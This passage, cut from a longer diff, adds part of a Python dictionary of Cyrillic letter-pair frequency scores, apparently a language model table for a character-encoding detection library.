0, # 'Х' + 58: 0, # 'Ц' + 50: 0, # 'Ч' + 57: 0, # 'Ш' + 63: 0, # 'Щ' + 62: 0, # 'Ы' + 61: 1, # 'Ь' + 47: 0, # 'Э' + 59: 0, # 'Ю' + 43: 0, # 'Я' + 3: 2, # 'а' + 21: 0, # 'б' + 10: 0, # 'в' + 19: 0, # 'г' + 13: 0, # 'д' + 2: 2, # 'е' + 24: 0, # 'ж' + 20: 0, # 'з' + 4: 2, # 'и' + 23: 0, # 'й' + 11: 0, # 'к' + 8: 1, # 'л' + 12: 0, # 'м' + 5: 0, # 'н' + 1: 1, # 'о' + 15: 0, # 'п' + 9: 1, # 'р' + 7: 0, # 'с' + 6: 3, # 'т' + 14: 2, # 'у' + 39: 0, # 'ф' + 26: 0, # 'х' + 28: 0, # 'ц' + 22: 0, # 'ч' + 25: 0, # 'ш' + 29: 0, # 'щ' + 54: 0, # 'ъ' + 18: 0, # 'ы' + 17: 1, # 'ь' + 30: 0, # 'э' + 27: 0, # 'ю' + 16: 0, # 'я' + }, + 57: { # 'Ш' + 37: 1, # 'А' + 44: 0, # 'Б' + 33: 0, # 'В' + 46: 0, # 'Г' + 41: 0, # 'Д' + 48: 1, # 'Е' + 56: 0, # 'Ж' + 51: 0, # 'З' + 42: 1, # 'И' + 60: 0, # 'Й' + 36: 1, # 'К' + 49: 1, # 'Л' + 38: 0, # 'М' + 31: 1, # 'Н' + 34: 1, # 'О' + 35: 0, # 'П' + 45: 0, # 'Р' + 32: 0, # 'С' + 40: 0, # 'Т' + 52: 1, # 'У' + 53: 0, # 'Ф' + 55: 0, # 'Х' + 58: 0, # 'Ц' + 50: 0, # 'Ч' + 57: 0, # 'Ш' + 63: 0, # 'Щ' + 62: 0, # 'Ы' + 61: 0, # 'Ь' + 47: 0, # 'Э' + 59: 0, # 'Ю' + 43: 0, # 'Я' + 3: 2, # 'а' + 21: 0, # 'б' + 10: 1, # 'в' + 19: 0, # 'г' + 13: 0, # 'д' + 2: 2, # 'е' + 24: 0, # 'ж' + 20: 0, # 'з' + 4: 1, # 'и' + 23: 0, # 'й' + 11: 1, # 'к' + 8: 2, # 'л' + 12: 1, # 'м' + 5: 1, # 'н' + 1: 2, # 'о' + 15: 2, # 'п' + 9: 1, # 'р' + 7: 0, # 'с' + 6: 2, # 'т' + 14: 2, # 'у' + 39: 0, # 'ф' + 26: 1, # 'х' + 28: 0, # 'ц' + 22: 0, # 'ч' + 25: 1, # 'ш' + 29: 0, # 'щ' + 54: 0, # 'ъ' + 18: 0, # 'ы' + 17: 0, # 'ь' + 30: 1, # 'э' + 27: 0, # 'ю' + 16: 0, # 'я' + }, + 63: { # 'Щ' + 37: 1, # 'А' + 44: 0, # 'Б' + 33: 0, # 'В' + 46: 0, # 'Г' + 41: 0, # 'Д' + 48: 1, # 'Е' + 56: 0, # 'Ж' + 51: 0, # 'З' + 42: 1, # 'И' + 60: 0, # 'Й' + 36: 0, # 'К' + 49: 0, # 'Л' + 38: 0, # 'М' + 31: 0, # 'Н' + 34: 0, # 'О' + 35: 0, # 'П' + 45: 0, # 'Р' + 32: 0, # 'С' + 40: 0, # 'Т' + 52: 0, # 'У' + 53: 0, # 'Ф' + 55: 0, # 'Х' + 58: 0, # 'Ц' + 50: 0, # 'Ч' + 57: 0, # 'Ш' + 63: 0, # 'Щ' + 62: 0, # 'Ы' + 61: 1, # 'Ь' + 47: 0, # 'Э' + 59: 0, # 'Ю' + 43: 0, # 'Я' + 3: 1, # 'а' + 21: 0, # 'б' + 10: 0, # 'в' + 19: 0, # 'г' + 13: 0, # 'д' + 2: 1, # 'е' + 24: 0, # 'ж' + 20: 0, # 'з' + 4: 1, # 'и' + 23: 0, # 'й' + 11: 0, # 'к' + 8: 0, # 'л' + 12: 0, # 'м' + 5: 0, # 'н' + 1: 1, # 'о' + 15: 0, # 'п' + 9: 0, # 'р' + 7: 0, # 'с' + 6: 0, # 'т' + 14: 1, # 'у' + 39: 0, # 'ф' + 26: 0, # 'х' + 28: 0, # 'ц' + 22: 0, # 'ч' + 25: 0, # 'ш' + 29: 0, # 'щ' + 54: 0, # 'ъ' + 18: 0, # 'ы' + 17: 0, # 'ь' + 30: 0, # 'э' + 27: 0, # 'ю' + 16: 0, # 'я' + }, + 62: { # 'Ы' + 37: 0, # 'А' + 44: 0, # 'Б' + 33: 1, # 'В' + 46: 1, # 'Г' + 41: 0, # 'Д' + 48: 1, # 'Е' + 56: 0, # 'Ж' + 51: 0, # 'З' + 42: 0, # 'И' + 60: 1, # 'Й' + 36: 1, # 'К' + 49: 1, # 'Л' + 38: 1, # 'М' + 31: 1, # 'Н' + 34: 0, # 'О' + 35: 1, # 'П' + 45: 1, # 'Р' + 32: 1, # 'С' + 40: 1, # 'Т' + 52: 0, # 'У' + 53: 0, # 'Ф' + 55: 1, # 'Х' + 58: 1, # 'Ц' + 50: 0, # 'Ч' + 57: 1, # 'Ш' + 63: 0, # 'Щ' + 62: 0, # 'Ы' + 61: 0, # 'Ь' + 47: 0, # 'Э' + 59: 0, # 'Ю' + 43: 0, # 'Я' + 3: 0, # 'а' + 21: 0, # 'б' + 10: 0, # 'в' + 19: 0, # 'г' + 13: 0, # 'д' + 2: 0, # 'е' + 24: 0, # 'ж' + 20: 0, # 'з' + 4: 0, # 'и' + 23: 0, # 'й' + 11: 0, # 'к' + 8: 0, # 'л' + 12: 0, # 'м' + 5: 0, # 'н' + 1: 0, # 'о' + 15: 0, # 'п' + 9: 0, # 'р' + 7: 0, # 'с' + 6: 0, # 'т' + 14: 0, # 'у' + 39: 0, # 'ф' + 26: 0, # 'х' + 28: 0, # 'ц' + 22: 0, # 'ч' + 25: 0, # 'ш' + 29: 0, # 'щ' + 54: 0, # 'ъ' + 18: 0, # 'ы' + 17: 0, # 'ь' + 30: 0, # 'э' + 27: 0, # 'ю' + 16: 0, # 'я' + }, + 61: { # 'Ь' + 37: 0, # 'А' + 44: 1, # 'Б' + 33: 1, # 'В' + 46: 0, # 'Г' + 41: 1, # 'Д' + 48: 1, # 'Е' + 56: 0, # 'Ж' + 51: 0, # 'З' + 42: 1, # 'И' + 60: 0, # 'Й' + 36: 1, # 'К' + 49: 0, # 'Л' + 38: 1, # 'М' + 31: 1, # 'Н' + 34: 1, # 'О' + 35: 0, # 'П' + 45: 0, # 'Р' + 32: 1, # 'С' + 40: 0, # 'Т' + 52: 0, # 'У' + 53: 1, # 'Ф' + 55: 0, # 'Х' + 58: 0, # 'Ц' + 50: 0, # 'Ч' + 57: 1, # 'Ш' + 63: 0, # 'Щ' + 62: 0, # 'Ы' + 61: 0, # 'Ь' + 47: 0, # 'Э' + 59: 1, # 'Ю' + 43: 1, # 'Я' + 3: 0, # 'а' + 21: 0, # 'б' + 10: 0, # 'в' + 19: 0, # 'г' + 13: 0, # 'д' + 2: 0, # 'е' + 24: 0, # 'ж' + 20: 0, # 'з' + 4: 0, # 'и' + 23: 0, # 'й' + 11: 0, # 'к' + 8: 0, # 'л' + 12: 0, # 'м' + 5: 0, # 'н' + 1: 0, # 'о' + 15: 0, # 'п' + 9: 0, # 'р' + 7: 0, # 'с' + 6: 0, # 'т' + 14: 0, # 'у' + 39: 0, # 'ф' + 26: 0, # 'х' + 28: 0, # 'ц' + 22: 0, # 'ч' + 25: 0, # 'ш' + 29: 0, # 'щ' + 54: 0, # 'ъ' + 18: 0, # 'ы' + 17: 0, # 'ь' + 30: 0, # 'э' + 27: 0, # 'ю' + 16: 0, # 'я' + }, + 47: { # 'Э' + 37: 0, # 'А' + 44: 0, # 'Б' + 33: 1, # 'В' + 46: 0, # 'Г' + 41: 1, # 'Д' + 48: 0, # 'Е' + 56: 0, # 'Ж' + 51: 0, # 'З' + 42: 0, # 'И' + 60: 1, # 'Й' + 36: 1, # 'К' + 49: 1, # 'Л' + 38: 1, # 'М' + 31: 1, # 'Н' + 34: 0, # 'О' + 35: 1, # 'П' + 45: 1, # 'Р' + 32: 1, # 'С' + 40: 1, # 'Т' + 52: 0, # 'У' + 53: 0, # 'Ф' + 55: 0, # 'Х' + 58: 0, # 'Ц' + 50: 0, # 'Ч' + 57: 0, # 'Ш' + 63: 0, # 'Щ' + 62: 0, # 'Ы' + 61: 0, # 'Ь' + 47: 0, # 'Э' + 59: 0, # 'Ю' + 43: 0, # 'Я' + 3: 1, # 'а' + 21: 1, # 'б' + 10: 2, # 'в' + 19: 1, # 'г' + 13: 2, # 'д' + 2: 0, # 'е' + 24: 1, # 'ж' + 20: 0, # 'з' + 4: 0, # 'и' + 23: 2, # 'й' + 11: 2, # 'к' + 8: 2, # 'л' + 12: 2, # 'м' + 5: 2, # 'н' + 1: 0, # 'о' + 15: 1, # 'п' + 9: 2, # 'р' + 7: 1, # 'с' + 6: 3, # 'т' + 14: 1, # 'у' + 39: 1, # 'ф' + 26: 1, # 'х' + 28: 0, # 'ц' + 22: 0, # 'ч' + 25: 1, # 'ш' + 29: 0, # 'щ' + 54: 0, # 'ъ' + 18: 0, # 'ы' + 17: 0, # 'ь' + 30: 0, # 'э' + 27: 0, # 'ю' + 16: 0, # 'я' + }, + 59: { # 'Ю' + 37: 1, # 'А' + 44: 1, # 'Б' + 33: 0, # 'В' + 46: 0, # 'Г' + 41: 1, # 'Д' + 48: 0, # 'Е' + 56: 0, # 'Ж' + 51: 0, # 'З' + 42: 0, # 'И' + 60: 0, # 'Й' + 36: 0, # 'К' + 49: 0, # 'Л' + 38: 0, # 'М' + 31: 1, # 'Н' + 34: 0, # 'О' + 35: 0, # 'П' + 45: 1, # 'Р' + 32: 0, # 'С' + 40: 1, # 'Т' + 52: 0, # 'У' + 53: 0, # 'Ф' + 55: 0, # 'Х' + 58: 0, # 'Ц' + 50: 1, # 'Ч' + 57: 0, # 'Ш' + 63: 1, # 'Щ' + 62: 0, # 'Ы' + 61: 0, # 'Ь' + 47: 0, # 'Э' + 59: 0, # 'Ю' + 43: 0, # 'Я' + 3: 0, # 'а' + 21: 1, # 'б' + 10: 0, # 'в' + 19: 1, # 'г' + 13: 1, # 'д' + 2: 0, # 'е' + 24: 1, # 'ж' + 20: 0, # 'з' + 4: 0, # 'и' + 23: 0, # 'й' + 11: 1, # 'к' + 8: 2, # 'л' + 12: 1, # 'м' + 5: 2, # 'н' + 1: 0, # 'о' + 15: 1, # 'п' + 9: 1, # 'р' + 7: 1, # 'с' + 6: 0, # 'т' + 14: 0, # 'у' + 39: 0, # 'ф' + 26: 1, # 'х' + 28: 0, # 'ц' + 22: 0, # 'ч' + 25: 0, # 'ш' + 29: 0, # 'щ' + 54: 0, # 'ъ' + 18: 0, # 'ы' + 17: 0, # 'ь' + 30: 0, # 'э' + 27: 0, # 'ю' + 16: 0, # 'я' + }, + 43: { # 'Я' + 37: 0, # 'А' + 44: 0, # 'Б' + 33: 1, # 'В' + 46: 1, # 'Г' + 41: 0, # 'Д' + 48: 1, # 'Е' + 56: 0, # 'Ж' + 51: 0, # 'З' + 42: 1, # 'И' + 60: 0, # 'Й' + 36: 1, # 'К' + 49: 0, # 'Л' + 38: 0, # 'М' + 31: 1, # 'Н' + 34: 0, # 'О' + 35: 0, # 'П' + 45: 0, # 'Р' + 32: 1, # 'С' + 40: 1, # 'Т' + 52: 0, # 'У' + 53: 0, # 'Ф' + 55: 1, # 'Х' + 58: 0, # 'Ц' + 50: 1, # 'Ч' + 57: 0, # 'Ш' + 63: 1, # 'Щ' + 62: 0, # 'Ы' + 61: 0, # 'Ь' + 47: 0, # 'Э' + 59: 1, # 'Ю' + 43: 1, # 'Я' + 3: 0, # 'а' + 21: 1, # 'б' + 10: 1, # 'в' + 19: 1, # 'г' + 13: 1, # 'д' + 2: 0, # 'е' + 24: 0, # 'ж' + 20: 1, # 'з' + 4: 0, # 'и' + 23: 1, # 'й' + 11: 1, # 'к' + 8: 1, # 'л' + 12: 1, # 'м' + 5: 2, # 'н' + 1: 0, # 'о' + 15: 1, # 'п' + 9: 1, # 'р' + 7: 1, # 'с' + 6: 0, # 'т' + 14: 0, # 'у' + 39: 0, # 'ф' + 26: 1, # 'х' + 28: 0, # 'ц' + 22: 0, # 'ч' + 25: 1, # 'ш' + 29: 1, # 'щ' + 54: 0, # 'ъ' + 18: 0, # 'ы' + 17: 0, # 'ь' + 30: 0, # 'э' + 27: 0, # 'ю' + 16: 0, # 'я' + }, + 3: { # 'а' + 37: 0, # 'А' + 44: 0, # 'Б' + 33: 0, # 'В' + 46: 0, # 'Г' + 41: 0, # 'Д' + 48: 0, # 'Е' + 56: 0, # 'Ж' + 51: 0, # 'З' + 42: 1, # 'И' + 60: 0, # 'Й' + 36: 0, # 'К' + 49: 0, # 'Л' + 38: 0, # 'М' + 31: 1, # 'Н' + 34: 0, # 'О' + 35: 0, # 'П' + 45: 0, # 'Р' + 32: 0, # 'С' + 40: 0, # 'Т' + 52: 0, # 'У' + 53: 0, # 'Ф' + 55: 0, # 'Х' + 58: 0, # 'Ц' + 50: 0, # 'Ч' + 57: 0, # 'Ш' + 63: 0, # 'Щ' + 62: 0, # 'Ы' + 61: 0, # 'Ь' + 47: 0, # 'Э' + 59: 0, # 'Ю' + 43: 0, # 'Я' + 3: 2, # 'а' + 21: 3, # 'б' + 10: 3, # 'в' + 19: 3, # 'г' + 13: 3, # 'д' + 2: 3, # 'е' + 24: 3, # 'ж' + 20: 3, # 'з' + 4: 3, # 'и' + 23: 3, # 'й' + 11: 3, # 'к' + 8: 3, # 'л' + 12: 3, # 'м' + 5: 3, # 'н' + 1: 2, # 'о' + 15: 3, # 'п' + 9: 3, # 'р' + 7: 3, # 'с' + 6: 3, # 'т' + 14: 3, # 'у' + 39: 2, # 'ф' + 26: 3, # 'х' + 28: 3, # 'ц' + 22: 3, # 'ч' + 25: 3, # 'ш' + 29: 3, # 'щ' + 54: 0, # 'ъ' + 18: 0, # 'ы' + 17: 0, # 'ь' + 30: 2, # 'э' + 27: 3, # 'ю' + 16: 3, # 'я' + }, + 21: { # 'б' + 37: 0, # 'А' + 44: 0, # 'Б' + 33: 0, # 'В' + 46: 0, # 'Г' + 41: 0, # 'Д' + 48: 0, # 'Е' + 56: 0, # 'Ж' + 51: 0, # 'З' + 42: 0, # 'И' + 60: 0, # 'Й' + 36: 1, # 'К' + 49: 0, # 'Л' + 38: 0, # 'М' + 31: 0, # 'Н' + 34: 0, # 'О' + 35: 0, # 'П' + 45: 0, # 'Р' + 32: 0, # 'С' + 40: 0, # 'Т' + 52: 0, # 'У' + 53: 0, # 'Ф' + 55: 0, # 'Х' + 58: 0, # 'Ц' + 50: 0, # 'Ч' + 57: 0, # 'Ш' + 63: 0, # 'Щ' + 62: 0, # 'Ы' + 61: 0, # 'Ь' + 47: 0, # 'Э' + 59: 0, # 'Ю' + 43: 0, # 'Я' + 3: 3, # 'а' + 21: 2, # 'б' + 10: 2, # 'в' + 19: 1, # 'г' + 13: 2, # 'д' + 2: 3, # 'е' + 24: 2, # 'ж' + 20: 1, # 'з' + 4: 3, # 'и' + 23: 0, # 'й' + 11: 2, # 'к' + 8: 3, # 'л' + 12: 2, # 'м' + 5: 3, # 'н' + 1: 3, # 'о' + 15: 1, # 'п' + 9: 3, # 'р' + 7: 3, # 'с' + 6: 2, # 'т' + 14: 3, # 'у' + 39: 0, # 'ф' + 26: 2, # 'х' + 28: 1, # 'ц' + 22: 1, # 'ч' + 25: 2, # 'ш' + 29: 3, # 'щ' + 54: 2, # 'ъ' + 18: 3, # 'ы' + 17: 2, # 'ь' + 30: 1, # 'э' + 27: 2, # 'ю' + 16: 3, # 'я' + }, + 10: { # 'в' + 37: 0, # 'А' + 44: 0, # 'Б' + 33: 0, # 'В' + 46: 0, # 'Г' + 41: 0, # 'Д' + 48: 0, # 'Е' + 56: 0, # 'Ж' + 51: 0, # 'З' + 42: 0, # 'И' + 60: 0, # 'Й' + 36: 0, # 'К' + 49: 0, # 'Л' + 38: 0, # 'М' + 31: 0, # 'Н' + 34: 0, # 'О' + 35: 0, # 'П' + 45: 0, # 'Р' + 32: 0, # 'С' + 40: 0, # 'Т' + 52: 0, # 'У' + 53: 0, # 'Ф' + 55: 0, # 'Х' + 58: 0, # 'Ц' + 50: 0, # 'Ч' + 57: 0, # 'Ш' + 63: 0, # 'Щ' + 62: 0, # 'Ы' + 61: 0, # 'Ь' + 47: 0, # 'Э' + 59: 0, # 'Ю' + 43: 0, # 'Я' + 3: 3, # 'а' + 21: 2, # 'б' + 10: 2, # 'в' + 19: 2, # 'г' + 13: 3, # 'д' + 2: 3, # 'е' + 24: 1, # 'ж' + 20: 3, # 'з' + 4: 3, # 'и' + 23: 0, # 'й' + 11: 3, # 'к' + 8: 3, # 'л' + 12: 2, # 'м' + 5: 3, # 'н' + 1: 3, # 'о' + 15: 3, # 'п' + 9: 3, # 'р' + 7: 3, # 'с' + 6: 3, # 'т' + 14: 3, # 'у' + 39: 1, # 'ф' + 26: 2, # 'х' + 28: 2, # 'ц' + 22: 2, # 'ч' + 25: 3, # 'ш' + 29: 2, # 'щ' + 54: 2, # 'ъ' + 18: 3, # 'ы' + 17: 3, # 'ь' + 30: 1, # 'э' + 27: 1, # 'ю' + 16: 3, # 'я' + }, + 19: { # 'г' + 37: 0, # 'А' + 44: 0, # 'Б' + 33: 0, # 'В' + 46: 0, # 'Г' + 41: 0, # 'Д' + 48: 0, # 'Е' + 56: 0, # 'Ж' + 51: 0, # 'З' + 42: 0, # 'И' + 60: 0, # 'Й' + 36: 0, # 'К' + 49: 0, # 'Л' + 38: 0, # 'М' + 31: 0, # 'Н' + 34: 0, # 'О' + 35: 0, # 'П' + 45: 0, # 'Р' + 32: 0, # 'С' + 40: 0, # 'Т' + 52: 0, # 'У' + 53: 0, # 'Ф' + 55: 0, # 'Х' + 58: 0, # 'Ц' + 50: 0, # 'Ч' + 57: 0, # 'Ш' + 63: 0, # 'Щ' + 62: 0, # 'Ы' + 61: 0, # 'Ь' + 47: 0, # 'Э' + 59: 0, # 'Ю' + 43: 0, # 'Я' + 3: 3, # 'а' + 21: 1, # 'б' + 10: 2, # 'в' + 19: 1, # 'г' + 13: 3, # 'д' + 2: 3, # 'е' + 24: 0, # 'ж' + 20: 1, # 'з' + 4: 3, # 'и' + 23: 0, # 'й' + 11: 2, # 'к' + 8: 3, # 'л' + 12: 2, # 'м' + 5: 3, # 'н' + 1: 3, # 'о' + 15: 0, # 'п' + 9: 3, # 'р' + 7: 2, # 'с' + 6: 2, # 'т' + 14: 3, # 'у' + 39: 1, # 'ф' + 26: 1, # 'х' + 28: 1, # 'ц' + 22: 2, # 'ч' + 25: 1, # 'ш' + 29: 0, # 'щ' + 54: 0, # 'ъ' + 18: 1, # 'ы' + 17: 1, # 'ь' + 30: 1, # 'э' + 27: 1, # 'ю' + 16: 0, # 'я' + }, + 13: { # 'д' + 37: 0, # 'А' + 44: 0, # 'Б' + 33: 0, # 'В' + 46: 0, # 'Г' + 41: 0, # 'Д' + 48: 0, # 'Е' + 56: 0, # 'Ж' + 51: 0, # 'З' + 42: 0, # 'И' + 60: 0, # 'Й' + 36: 0, # 'К' + 49: 0, # 'Л' + 38: 0, # 'М' + 31: 0, # 'Н' + 34: 0, # 'О' + 35: 0, # 'П' + 45: 0, # 'Р' + 32: 0, # 'С' + 40: 0, # 'Т' + 52: 0, # 'У' + 53: 0, # 'Ф' + 55: 0, # 'Х' + 58: 0, # 'Ц' + 50: 0, # 'Ч' + 57: 0, # 'Ш' + 63: 0, # 'Щ' + 62: 0, # 'Ы' + 61: 0, # 'Ь' + 47: 0, # 'Э' + 59: 0, # 'Ю' + 43: 0, # 'Я' + 3: 3, # 'а' + 21: 2, # 'б' + 10: 3, # 'в' + 19: 2, # 'г' + 13: 2, # 'д' + 2: 3, # 'е' + 24: 2, # 'ж' + 20: 2, # 'з' + 4: 3, # 'и' + 23: 0, # 'й' + 11: 3, # 'к' + 8: 3, # 'л' + 12: 2, # 'м' + 5: 3, # 'н' + 1: 3, # 'о' + 15: 2, # 'п' + 9: 3, # 'р' + 7: 3, # 'с' + 6: 3, # 'т' + 14: 3, # 'у' + 39: 1, # 'ф' + 26: 2, # 'х' + 28: 3, # 'ц' + 22: 2, # 'ч' + 25: 2, # 'ш' + 29: 1, # 'щ' + 54: 2, # 'ъ' + 18: 3, # 'ы' + 17: 3, # 'ь' + 30: 1, # 'э' + 27: 2, # 'ю' + 16: 3, # 'я' + }, + 2: { # 'е' + 37: 0, # 'А' + 44: 0, # 'Б' + 33: 0, # 'В' + 46: 0, # 'Г' + 41: 0, # 'Д' + 48: 0, # 'Е' + 56: 0, # 'Ж' + 51: 0, # 'З' + 42: 0, # 'И' + 60: 0, # 'Й' + 36: 0, # 'К' + 49: 0, # 'Л' + 38: 0, # 'М' + 31: 0, # 'Н' + 34: 0, # 'О' + 35: 0, # 'П' + 45: 0, # 'Р' + 32: 0, # 'С' + 40: 0, # 'Т' + 52: 0, # 'У' + 53: 0, # 'Ф' + 55: 0, # 'Х' + 58: 0, # 'Ц' + 50: 0, # 'Ч' + 57: 0, # 'Ш' + 63: 0, # 'Щ' + 62: 0, # 'Ы' + 61: 0, # 'Ь' + 47: 0, # 'Э' + 59: 0, # 'Ю' + 43: 0, # 'Я' + 3: 2, # 'а' + 21: 3, # 'б' + 10: 3, # 'в' + 19: 3, # 'г' + 13: 3, # 'д' + 2: 3, # 'е' + 24: 3, # 'ж' + 20: 3, # 'з' + 4: 2, # 'и' + 23: 3, # 'й' + 11: 3, # 'к' + 8: 3, # 'л' + 12: 3, # 'м' + 5: 3, # 'н' + 1: 3, # 'о' + 15: 3, # 'п' + 9: 3, # 'р' + 7: 3, # 'с' + 6: 3, # 'т' + 14: 2, # 'у' + 39: 2, # 'ф' + 26: 3, # 'х' + 28: 3, # 'ц' + 22: 3, # 'ч' + 25: 3, # 'ш' + 29: 3, # 'щ' + 54: 0, # 'ъ' + 18: 0, # 'ы' + 17: 0, # 'ь' + 30: 1, # 'э' + 27: 2, # 'ю' + 16: 3, # 'я' + }, + 24: { # 'ж' + 37: 0, # 'А' + 44: 0, # 'Б' + 33: 0, # 'В' + 46: 0, # 'Г' + 41: 0, # 'Д' + 48: 0, # 'Е' + 56: 0, # 'Ж' + 51: 0, # 'З' + 42: 0, # 'И' + 60: 0, # 'Й' + 36: 0, # 'К' + 49: 0, # 'Л' + 38: 0, # 'М' + 31: 0, # 'Н' + 34: 0, # 'О' + 35: 0, # 'П' + 45: 0, # 'Р' + 32: 0, # 'С' + 40: 0, # 'Т' + 52: 0, # 'У' + 53: 0, # 'Ф' + 55: 0, # 'Х' + 58: 0, # 'Ц' + 50: 0, # 'Ч' + 57: 0, # 'Ш' + 63: 0, # 'Щ' + 62: 0, # 'Ы' + 61: 0, # 'Ь' + 47: 0, # 'Э' + 59: 0, # 'Ю' + 43: 0, # 'Я' + 3: 3, # 'а' + 21: 2, # 'б' + 10: 1, # 'в' + 19: 2, # 'г' + 13: 3, # 'д' + 2: 3, # 'е' + 24: 2, # 'ж' + 20: 1, # 'з' + 4: 3, # 'и' + 23: 0, # 'й' + 11: 2, # 'к' + 8: 2, # 'л' + 12: 1, # 'м' + 5: 3, # 'н' + 1: 2, # 'о' + 15: 1, # 'п' + 9: 2, # 'р' + 7: 2, # 'с' + 6: 1, # 'т' + 14: 3, # 'у' + 39: 1, # 'ф' + 26: 0, # 'х' + 28: 1, # 'ц' + 22: 2, # 'ч' + 25: 0, # 'ш' + 29: 0, # 'щ' + 54: 0, # 'ъ' + 18: 1, # 'ы' + 17: 2, # 'ь' + 30: 1, # 'э' + 27: 1, # 'ю' + 16: 1, # 'я' + }, + 20: { # 'з' + 37: 0, # 'А' + 44: 0, # 'Б' + 33: 0, # 'В' + 46: 0, # 'Г' + 41: 0, # 'Д' + 48: 0, # 'Е' + 56: 0, # 'Ж' + 51: 0, # 'З' + 42: 0, # 'И' + 60: 0, # 'Й' + 36: 0, # 'К' + 49: 0, # 'Л' + 38: 0, # 'М' + 31: 0, # 'Н' + 34: 0, # 'О' + 35: 0, # 'П' + 45: 0, # 'Р' + 32: 0, # 'С' + 40: 0, # 'Т' + 52: 0, # 'У' + 53: 0, # 'Ф' + 55: 0, # 'Х' + 58: 0, # 'Ц' + 50: 0, # 'Ч' + 57: 0, # 'Ш' + 63: 0, # 'Щ' + 62: 0, # 'Ы' + 61: 0, # 'Ь' + 47: 0, # 'Э' + 59: 0, # 'Ю' + 43: 0, # 'Я' + 3: 3, # 'а' + 21: 3, # 'б' + 10: 3, # 'в' + 19: 3, # 'г' + 13: 3, # 'д' + 2: 3, # 'е' + 24: 2, # 'ж' + 20: 2, # 'з' + 4: 3, # 'и' + 23: 0, # 'й' + 11: 3, # 'к' + 8: 3, # 'л' + 12: 3, # 'м' + 5: 3, # 'н' + 1: 3, # 'о' + 15: 0, # 'п' + 9: 3, # 'р' + 7: 2, # 'с' + 6: 2, # 'т' + 14: 3, # 'у' + 39: 0, # 'ф' + 26: 0, # 'х' + 28: 1, # 'ц' + 22: 2, # 'ч' + 25: 1, # 'ш' + 29: 0, # 'щ' + 54: 2, # 'ъ' + 18: 3, # 'ы' + 17: 2, # 'ь' + 30: 1, # 'э' + 27: 1, # 'ю' + 16: 3, # 'я' + }, + 4: { # 'и' + 37: 1, # 'А' + 44: 0, # 'Б' + 33: 0, # 'В' + 46: 0, # 'Г' + 41: 0, # 'Д' + 48: 0, # 'Е' + 56: 0, # 'Ж' + 51: 0, # 'З' + 42: 0, # 'И' + 60: 0, # 'Й' + 36: 0, # 'К' + 49: 0, # 'Л' + 38: 0, # 'М' + 31: 1, # 'Н' + 34: 0, # 'О' + 35: 0, # 'П' + 45: 0, # 'Р' + 32: 0, # 'С' + 40: 0, # 'Т' + 52: 0, # 'У' + 53: 0, # 'Ф' + 55: 0, # 'Х' + 58: 0, # 'Ц' + 50: 0, # 'Ч' + 57: 0, # 'Ш' + 63: 0, # 'Щ' + 62: 0, # 'Ы' + 61: 0, # 'Ь' + 47: 0, # 'Э' + 59: 0, # 'Ю' + 43: 0, # 'Я' + 3: 3, # 'а' + 21: 3, # 'б' + 10: 3, # 'в' + 19: 3, # 'г' + 13: 3, # 'д' + 2: 3, # 'е' + 24: 3, # 'ж' + 20: 3, # 'з' + 4: 3, # 'и' + 23: 3, # 'й' + 11: 3, # 'к' + 8: 3, # 'л' + 12: 3, # 'м' + 5: 3, # 'н' + 1: 3, # 'о' + 15: 3, # 'п' + 9: 3, # 'р' + 7: 3, # 'с' + 6: 3, # 'т' + 14: 2, # 'у' + 39: 2, # 'ф' + 26: 3, # 'х' + 28: 3, # 'ц' + 22: 3, # 'ч' + 25: 3, # 'ш' + 29: 3, # 'щ' + 54: 0, # 'ъ' + 18: 0, # 'ы' + 17: 0, # 'ь' + 30: 2, # 'э' + 27: 3, # 'ю' + 16: 3, # 'я' + }, + 23: { # 'й' + 37: 0, # 'А' + 44: 0, # 'Б' + 33: 0, # 'В' + 46: 0, # 'Г' + 41: 0, # 'Д' + 48: 0, # 'Е' + 56: 0, # 'Ж' + 51: 0, # 'З' + 42: 0, # 'И' + 60: 0, # 'Й' + 36: 0, # 'К' + 49: 0, # 'Л' + 38: 0, # 'М' + 31: 0, # 'Н' + 34: 0, # 'О' + 35: 0, # 'П' + 45: 0, # 'Р' + 32: 0, # 'С' + 40: 0, # 'Т' + 52: 0, # 'У' + 53: 0, # 'Ф' + 55: 0, # 'Х' + 58: 0, # 'Ц' + 50: 0, # 'Ч' + 57: 0, # 'Ш' + 63: 0, # 'Щ' + 62: 0, # 'Ы' + 61: 0, # 'Ь' + 47: 0, # 'Э' + 59: 0, # 'Ю' + 43: 0, # 'Я' + 3: 1, # 'а' + 21: 1, # 'б' + 10: 1, # 'в' + 19: 2, # 'г' + 13: 3, # 'д' + 2: 2, # 'е' + 24: 0, # 'ж' + 20: 2, # 'з' + 4: 1, # 'и' + 23: 0, # 'й' + 11: 2, # 'к' + 8: 2, # 'л' + 12: 2, # 'м' + 5: 3, # 'н' + 1: 2, # 'о' + 15: 1, # 'п' + 9: 2, # 'р' + 7: 3, # 'с' + 6: 3, # 'т' + 14: 1, # 'у' + 39: 2, # 'ф' + 26: 1, # 'х' + 28: 2, # 'ц' + 22: 3, # 'ч' + 25: 2, # 'ш' + 29: 1, # 'щ' + 54: 0, # 'ъ' + 18: 0, # 'ы' + 17: 0, # 'ь' + 30: 1, # 'э' + 27: 1, # 'ю' + 16: 2, # 'я' + }, + 11: { # 'к' + 37: 0, # 'А' + 44: 0, # 'Б' + 33: 0, # 'В' + 46: 0, # 'Г' + 41: 0, # 'Д' + 48: 0, # 'Е' + 56: 0, # 'Ж' + 51: 0, # 'З' + 42: 0, # 'И' + 60: 0, # 'Й' + 36: 0, # 'К' + 49: 0, # 'Л' + 38: 0, # 'М' + 31: 0, # 'Н' + 34: 0, # 'О' + 35: 0, # 'П' + 45: 0, # 'Р' + 32: 0, # 'С' + 40: 0, # 'Т' + 52: 0, # 'У' + 53: 0, # 'Ф' + 55: 0, # 'Х' + 58: 0, # 'Ц' + 50: 0, # 'Ч' + 57: 0, # 'Ш' + 63: 0, # 'Щ' + 62: 0, # 'Ы' + 61: 0, # 'Ь' + 47: 0, # 'Э' + 59: 0, # 'Ю' + 43: 0, # 'Я' + 3: 3, # 'а' + 21: 1, # 'б' + 10: 3, # 'в' + 19: 1, # 'г' + 13: 1, # 'д' + 2: 3, # 'е' + 24: 2, # 'ж' + 20: 2, # 'з' + 4: 3, # 'и' + 23: 0, # 'й' + 11: 2, # 'к' + 8: 3, # 'л' + 12: 1, # 'м' + 5: 3, # 'н' + 1: 3, # 'о' + 15: 0, # 'п' + 9: 3, # 'р' + 7: 3, # 'с' + 6: 3, # 'т' + 14: 3, # 'у' + 39: 1, # 'ф' + 26: 2, # 'х' + 28: 2, # 